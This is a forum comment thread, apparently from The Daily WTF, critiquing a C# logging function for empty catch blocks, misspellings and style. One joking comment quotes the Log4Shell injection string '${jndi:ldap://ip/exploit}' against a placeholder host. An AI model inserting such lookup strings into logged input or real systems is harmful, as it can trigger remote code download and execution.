- Feature Articles
- CodeSOD
- Error'd
-
Forums
-
Other Articles
- Random Article
- Alex's Soapbox
- Announcements
- Best of…
- Best of Email
- Best of the Sidebar
- Bring Your Own Code
- Coded Smorgasbord
- Mandatory Fun Day
- Off Topic
- Representative Line
- News Roundup
- Editor's Soapbox
- Software on the Rocks
- Souvenir Potpourri
- Sponsor Post
- Tales from the Interview
- The Daily WTF: Live
- Virtudyne
Admin
Mine is the "random number of parameters declared per line", but yours has merit as well.
Admin
How about an empty 'catch block', with the boolean result?
The code will never throw exceptions, so the code never knows when the 'audit' has failed. Unless you check the method result for each call:
If(!TraceListen(....)) throw new TraceLogFailedException("don't know why, though.");
I usually make methods like this that are likely splattered around the code a 'void' and just let them throw when something fails. If it is important enough to log, it's important enough that the log should succeed.
Admin
regarding explicit comparison to true.... identical in most cases, but one can write code where there are differences.....
Admin
I didn't call that out because I added those linebreaks just to make the code fit the window, because it was all on one line originally.
Admin
Is "incosistent spellings" a joke?
Admin
:-)
Admin
I had the same question re: "...this snipped of C# code" in the introductory sentence.
Admin
Ah. I assumed they came that way, since other long lines were not broken.
Admin
Hey, at least it doesn't download and run arbitrary code if your log entry contains ${jndi:ldap://ip/exploit} so it can't be that bad right?
Admin
On the question of spelling, don't forget TraceListner, on the very first line
Admin
It matters to me, in the "no brown M&Ms" sense. If a developer can't even be bothered to get a basic thing like spelling right, especially with spell-checking built into IDEs these days, then it's a pretty good bet that the same carelessness carries over into more consequential aspects of the code.
Admin
Talking about spelling but no comment on "TraceListner"?
Admin
If someone spells "address" as P-O-R-T or "port" as A-D-D-R-E-S-S, that matters a lot.
Admin
That negation of a simple equality check just raises my hackles.
Admin
The try with empty catch reminds me of the constructs seen
if( true)
{ ... } else {} /* empty else because we mut have one */
Admin
"Finally, for a bonus, we have incosistent spellings- ProjectInstance and PrjectAudit. It doesn't matter how you spell your symbols, so long as you can spell them consistently."
This is technically not correct. C# has a naming style guide since .NET 1.0; method arguments are always camelCase. I can't even remember when there was a version of Visual Studio that doesn't mark something like this for refactoring; not to mention any style checker tool.
Admin
MaxiTB: capitalization is not spelling. Look more carefully at those two variable names
Admin
I'm not going to object to an empty catch block here.
You don't want to crash the main program because the logging failed, nor is there anything the main program can reasonably do about a logging failure. Thus swallowing the exception is the sensible course of action.
Admin
Looks like this function nearly doesn't need to exist, with the exception of the memory leak it causes (or is that not true in C#?).
Admin
Ha, that's true. As a C# developer the capitalization hurts more honestly ;-)
Admin
In C# there is only one way how you can get memory leaks (beyond purposely keeping a reference around, but no language can free memory that way), that is by not disposing an IDisposable object. Those objects contain unmanaged system resources which in turn also need memory (however if you keep an TCP/IP connection open for example, you may run into other issues faster). If you implement the disposable pattern correctly, the garbage collector will clean it up eventually, but that's another if.
In this case, there is no case where this can happen, because you dispose disposable objects in the scope where they are created. Hence you can for example write in a method:
using var stream = new MemoryStream(69);
And it will get disposed when the method exists (or sooner, depending where stream is used), no matter if there is an exception. The using basically generates an exception scope around the rest of the code and calls stream.Dispose() in it's finalizer. Of course it possible to scope yourself to free it up on a more defined point in your code or do the exception scoping by hand.
So that's the only way to get some sort of memory leak unintentionally, but this is not the case in this (awful) code.
https://docs.microsoft.com/en-us/dotnet/api/system.idisposable?view=net-6.0
Admin
Well, I guess the garbage collector manages that 'new'-ly created variable. There don't seem to be ways to handle a generic variable argument list or write macros in C#, otherwise this function (TraceListner) could easily be transformed into a simple pass-thru to PrjectAudit with a try-catch around it, which is all it has become at this point. If you're not dealing with the raised error anyway, just have it return false. If there are times when you want to call save, you could add a "blnOneShot" parameter that defaults to false, but calls .save() if true.
Admin
If we're going to put one useless equality comparison with true on the end of the expression, why not another? ... or another. I'm against this practice also.
Admin
"Finally, for a bonus, we have incosistent spellings- ProjectInstance and PrjectAudit. It doesn't matter how you spell your symbols, so long as you can spell them consistently."
The odds of someone naming something “ProjectInstance” are relatively low (about the same as “MyObject”, I’d say). The odds of them also naming something “PrjectAudit” make the likelihood of these being the original object names VERY low.
I suspect (with no proof) that this is simply a typo as part of the anonymisation effort by the submitter - the classes were probably originally called “MyCompanyNameSuperSecretProjectNameInstance” and “MyCompanyNameSuperSecretProjectNameAudit”
Admin
That seems a very good nme.
Admin
What is this strange word "consistently" that you insist upon? Well, all I can say is, "Dream on..."
Admin
You do not want to swallow it completely either though. You need to at least attempt to inform someone that the tracing stopped working. Send a message (once! after a few failures) in one way or another, log elsewhere, ...
Admin
I don't think spell-checking is built into any IDEs other than JetBrains IntelliJ IDEA, for Java. Other programming languages don't get spell checking.